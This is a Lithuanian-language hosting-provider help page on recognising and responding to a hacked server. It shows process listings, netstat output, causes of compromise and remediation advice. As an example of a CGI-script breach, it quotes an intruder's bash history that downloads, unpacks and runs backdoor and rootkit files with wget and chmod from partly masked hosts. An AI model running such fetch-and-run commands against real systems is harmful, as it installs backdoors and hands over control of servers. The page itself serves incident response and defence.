|
Paieška |
Tai gali įvykti ir su jūsų serveriu. Kaip pamatyti, kad į serverį buvo įsibrauta? Labai daug informacijos gali suteikti MRTG grafikai: ![]() ![]() Serverio žurnaluose (logs) mes matome: root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400 [...] root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400 Panašu, kad įsilaužėlis galėjo leisti tokias programas kaip „root“. Tai reiškia, kad į serverį buvo įsilaužta ir jis turi būti įdiegtas iš naujo. # netstat -tanpu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc # ps auxw | grep 28823 root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823 Jeigu yra programų, kurios turi savo PID, tačiau nėra matomos ps, tai reiškia, kad ps buvo pakeistas nulaužtu ps, kuris paslepia visus procesus parodančius įsilaužimą. Tuomet: # halt Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003... The system is going down for system halt NOW !! Taip, mes tuojau pat sustabdome serverį. Į serverį gali būti įsibrauta dalinai arba įsibrauta pilnai. Kodėl buvo įsilaužta į serverį? Gali būti daugybė priežasčių: Jūs naudojate „telnet“. Tačiau jungiantis per „telnet“ nei prisijungimo vardas, nei slaptažodis nėra koduojami, todėl bet kada gali būti „pavogti“. Privalote naudoti SSH. Daugiau apie SSH skaitykite čia: SshSkirtajameServeryje. Prisijungimui prie FTP naudojate „root“ prisijungimo duomenis. Tuomet turėtumėte naudoti SFTP. Pop3/imap naudojate „root“ slaptažodį. Tuomet naudokite APOP arba POP3S/IMAPS. Daugiau apie SSH skaitykite čia: SmtpPop3Imap. Visuomet atnaujinkite programinę įrangą LeidimaiNaujinimai tam, kad įsibrovėliai negalėtų naudoti žinomų saugos spragų (OVH tinkle kiekvieną dieną yra atliekama apie 250 skanavimų norint atrasti naujų saugumo spragų). Ką daryti? Jeigu buvo įsibrauta į serverį vienintelis efektyviausias kovos būdas: perinstaliuoti jį. Galite atidaryti gedimo kvitą ir perjungti serverį į „rescue“ režimą. Būtinai nurodykite priežastį ir įsipareigojimą pašalinti problemą. Mes atidžiai stebėsime, ar, prieš atkurdami normalų serverio veikimą, pašalinsite įsilaužimo pasekmes ir imsitės visų priemonių, kad tai nepasikartotų. Nulaužimo pavyzdžiai 1. CGI skripto klaida Požymiai g00dies.tgz failas buvo įkeltas į /tmp kartu su kitais failas: x, k, ir t.t. ... x yra atgalinio įėjimo (backdoor) programa, kurią paleidus suteikiama prieiga prie serverio. Kataloge /tmp radome nobody vartotojo bash.history, kurio turinys: cd /tmp wget www.#######.com/x chmod +x x ./s ./x ./x ./x ./x./x ./x ./x ./x ./x wget www.#######.com/k chmod +x k ./k -d; /tmp/x ./x ./x ./x ./x ./x ./x ./ cd /tmp mkdir ., cd ., wget ######.go.ro/vampix tar zxvf vampix cd esc ./mingetty ./mingetty ./mingetty cd /tmp wget ######.go.ro/g00dies.tgz tar zxvf g00dies.tgz cd goodies mv stealth /tmp cd /tmp wget ######.go.ro/smth chmod +x smth ./smth cd /tmp wget ######.go.ro/g00dies.tgz tar zxvf g00dies.tgz cd goodies mv stealth /tmp /tmp/smth /tmp/stealth Komentarai Čia mes matome, kad šios komandos įrašytos vykdyti apache naudojamo vartotojo „nobody“. Panašu, kad įsibrovėlis pasinaudojo CGI skripto saugumo spraga. Sprendimas - Sustabdyti (kill) visas įtartinas užduotis (procesus). Panašu, kad įsibrovėlis šiuo atveju neturi „root“ teisių (jeigu branduolys nėra senesnis nei <2.4.24); Tačiau, vis vien reikia atlikti kai kurias elementarias operacijas/patikrinimus:
- Paskaitykite Apache žurnalus (logs) tuo metu, kai įvyko įsibrovimas. |